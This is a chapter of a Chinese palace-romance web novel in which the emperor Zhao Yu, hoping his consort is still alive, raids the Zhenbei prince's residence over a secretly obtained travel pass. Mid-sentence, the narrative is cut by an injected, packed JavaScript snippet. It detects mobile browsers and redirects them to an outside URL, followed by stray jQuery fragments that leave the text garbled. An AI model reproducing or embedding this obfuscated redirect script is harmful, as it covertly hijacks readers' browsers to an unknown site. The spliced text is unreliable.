皇帝捻着手中奏折，将那薄薄纸片捻得近乎透明，半天都没开口，让底下汇报的人都不知所措了才开口说：“寿康去见了林夫人，赠了一件姜氏遗物，而后，林夫人立刻去着人备了路引？”
这太奇怪了，林夫人那里有多少令柔遗物他最清楚，他甚至还亲自去挑选过几件带回来，给她留的虽然不多，可也没到连根簪子都缺的程度；准备路引就更奇怪了，谁要离开京城？这样偷偷摸摸地行诡道，期间必定有什么要瞒着他的东西！
“她们要将那路引送到哪里去？”
“城北一胡同口槐树旁。”那纸条虽隐秘，林玉蝉又看过后立即焚烧了个干净，可也瞒不过皇帝训出的人。
赵彧点头，闭上眼苦笑，心里阵阵悸动。阿若，是你吗？你要逃离我吗？
“朕要亲自过去，亲眼看看是谁要这路引。”
他怕是令柔要躲开他，又盼望着确实是令柔还没死，还在想方设法着离开。这两种情绪在他脑中不停搏斗个没完，始终争不出来谁胜谁负。
很快到了约定那日，竟还是暴晒了一月有余的京城难得的雨天，又是难得的连绵细雨，打得一众随从睁不开眼，也缠绵着让皇帝心里更阴沉。
到了这时候，他已经说不好是什么心情了，只觉五味杂陈，又恨又怨又惧。姜令柔，是不是你，究竟是不是你？若是你，你可知道，朕为了见你一面，跑死了几匹马，也跑没了最后一点康复的可能。
他想起陈院首给他把脉时为难的老脸，不由轻轻勾起了唇尖。他还记得，他是这样说的：“此番伤了肝胆又伤了脾脏，若此后能安稳度日还好些，可若是再有什么波折，后果怕是难以预料。”
他们都这样说。或是委婉，或是直言不讳，每一个说他会恢复到从前的。说来可笑，他听说了自己“极有可能在不定时命不久矣”，第一反应不是发怒，而是江山何继。令柔到底也没给他留下什么子嗣，只能从那三个他原本嫌恶厌憎的候选里指望出一个来了。可他能用谁呢？靖王二子赵辕，那是令柔的仇家，更是害他们至此的元凶，他不愿给丝毫一点机会；镇北王幼子赵槿，虽说没犯过什么大错，可也是小错不断，且也与这事脱不开干系；剩下的那个，在前两者中左右逢源，也就有些小聪明，看不出什么真本事。
他不知自己还有没有再一个十年二十年，这谁都说不准，他也不知还有没有精力，能为大梁留下一个合格的继承人。
他不算是个称职的皇帝，更不算是个称职的丈夫，想着要顾好两头，可回头望去，哪个也没照顾好。
何其可笑！
皇帝从前出门是不爱坐马车的，可今时今日，他能强撑着出来就已是勉强，已没什么自己的喜好可言。他们驻扎在目标处不远，有草木和雨水遮掩着，不会被那一头发现。
“陛下，有人过来取了。”
赵彧喉头一滚，只觉心口有一股热血要喷出身体，他急急追问：“是谁？”
随从一身黑衣，抱拳回道：“是生面孔，不过臣属中有人似是见过此人，说是郡主府上。”
“追，追上去！他一进了镇北王府，就立即封锁府邸，不许任何人进出。再探来十日内，何人与寿康有过书信来往。”赵彧迟疑一刻，又补了一句：“不要打草惊蛇，只围住这一家即可，不要惊动坊内其他人。”她这时候未必在郡主府中，想来寿康也没那胆子庇护她。
那人果然是往镇北王府去，且分毫未察觉到后面的追兵。皇帝有心跟着一起去追，可他那一大队实在太过招眼，实在不能妄动，于是只好分成两队前往。
等赵彧到了，镇北王府已被封锁，他挥开身旁人的搀扶，也不要打着什么油纸伞，直接快步往里面走。进了门没理那面色阴沉又忐忑惊惧的姐弟两个，而是先问镇鸣：“找到没有？”
“没有您要找的那人。”
赵彧眼中难免划过一丝失望，又很快振作起来，冲着郡主说：“她在哪里？你把她藏在哪里了？”出发前，他还理智尚存，知道令柔还活着的希望实在渺茫，这次来很可能是扑了个空。可他这时候已经彻底疯癫了一般，双目通红逼问着郡主，好像是她将他心爱的贵妃偷走了一般。
赵澜面上神色不变，内心里却震如擂鼓。她认识皇帝已有快二十载，却从没见过他这样子，战场上都没有。他本就生得高大，又刚从前线战场上回来，身上都带着血气，像极了一头被夺取了幼崽的孤狼，几乎下一刻就要将她吞噬殆尽。这样的威势，若是她理直气壮便罢了，偏偏令柔没死这事她心知肚明，难免生出些畏惧来。
然而就是再畏惧，为了小友，她也要生出些勇气来。于是赵澜强撑着，声音打着颤道：“您说谁？臣藏了谁？”
赵彧看着她这样子，就知是自己吓到了人，这样可问不出个什么，索性换了副语气：“你要那张路引来做什么？你要出入京城则上奏即可，难道朕还会特意拦着你吗？”
郡主见他有点缓和了，果然就没那么畏惧了，缓下音调说：“臣知罪，请陛下责罚。”
知罪？知什么罪？赵彧不怒反喜，示意她不用跪着说话，赶紧说完了别卖关子才最要紧。他知道，他早该知道的，一定是他们趁他病中不备，骗走了令柔，这下子可让他追回来了。
“臣是受父命所托，一定要拿到路引，为此特意借着与明德皇后的交情，上门去找林夫人求助，这才，这才……”
赵彧几乎全然没听，一心沉浸在自己世界里。他不明白，怎么寿康罗里吧嗦说了一堆都没说她该说的话？
皇帝眼神飘忽，既没有听她陈词的意思，也没有回应她的意思，赵澜也只好硬着头皮继续说：“这才为家弟要来路引。”说到这，本来就跪着的赵槿更是再度叩首，恭敬至极。
赵彧几乎要被他们整懵住了，他看看郡主，又看看赵槿，纳罕道：“谁让你说这个了？”
谁知那两个比他还不解，偏还不敢给他纠错，只好老实低头跪着。
“令柔呢？姜氏呢？谁让你说这个了？你快说你是怎么想着要帮她出逃的啊！”
按理说是给赵槿要的路引，这时候应该由他来说才是，可他是个被家姐拉来堵炮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778425|163876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口的倒霉蛋，实在没什么好说，只能沉默着等姐姐去回应陛下。
赵澜恭敬道：“臣知您怀念明德皇后至深，可人死毕竟不能复生，此乃天道，您还是不要太挂怀了。”
人死不能复生？又是这句人死不能复生！他们一个个的，分明长着不同的面孔，心中怀着各自的鬼胎，可口中却好像只剩下这句话一般，个个都拿这句来敷衍他、嘲弄他。他们个个都该死！
“你是现拿赵槿来搪塞朕的是不是？是想拿给令柔的，见朕来了才说是拿给你弟弟是不是？”这语气几乎可以说是逼问了，似乎是郡主再嘴硬他就要将她撕碎。
郡主这时候反倒是不慌了，毕竟一切都顺利地按着她们的计划走。她面上诚惶诚恐地退了半步，为难道：“臣知道不应当私办路引，可的确没有想过拿给他人。”
皇帝见她还在狡辩，脸上越发不耐，声音也越发冷硬：“朕将你们都投到大牢里，你们就知道是非利害了。”
郡主还没来得及说话，赵槿就有了反应，他立即连拜几下，口中高呼：“确实是臣肆意妄为求得了此物，不关旁人什么事情。”
“胡言乱语！”赵彧一挥袍角，示意手下人将这两个带走发落。
赵槿急得冲着郡主大叫：“姐姐，这样要紧时候你也别顾什么孝道了，将那东西拿出来给陛下看吧！”
有东西？什么东西？皇帝及时出声，叫停了护卫们的粗暴动作，居高临下看着满面不情愿的郡主，漠然道：“把东西交出来。”
“陛下……”
“你是老实上交，还是直接抄家？”
郡主只好起身去找，拿来一封书信，递了上去。赵彧定睛看，却见信中内容并非他此前所想，竟是镇北王妃写给郡主的亲笔信件，信上叮嘱了郡主要照顾好自己和弟弟，还要为他准备一份随时可用得上的路引。
赵彧嘴唇张合几次，才发出来干涩喑哑的一句：“你们要这东西做什么。”
郡主咬咬唇，十分为难道：“说来惭愧，其实也与这次靖王为难有关。家母怕极了此后再有此类，家弟被困在京中出不得城，才只好出此下策给他准备着。方才臣支吾不清，也是不想您因着家中不肖子孙而迁怒了家母……”
她语速极快解释了大堆，皇帝却一个字也听不清，只知道他的令柔回来了却又飘走，偏他既不知该怎么捉住她，又不知该责怪谁。
“赵槿！”
“臣在！”
“你利用贵妃私自出宫出京在前，与朝臣勾结私获要物在后，你说，你该当何罪！”
没等赵槿回答，皇帝接着说：“念在你父母多年戍关的情面上，死罪可免，活罪难逃，今后你必须永居京城，出京即斩！”
说完了这句，他就像是彻底失去了力气一般，由人搀扶着出了门。他不能再待一刻了，他怕自己再待着，会忍不住砍了赵槿那小子的狗头！竖子可恶，可恶！
镇鸣双手环着将陛下扶上去，靠得最近时，隐约听到一声低语：“你去细细查探番，镇北王妃的家信是什么时候寄到京城的。”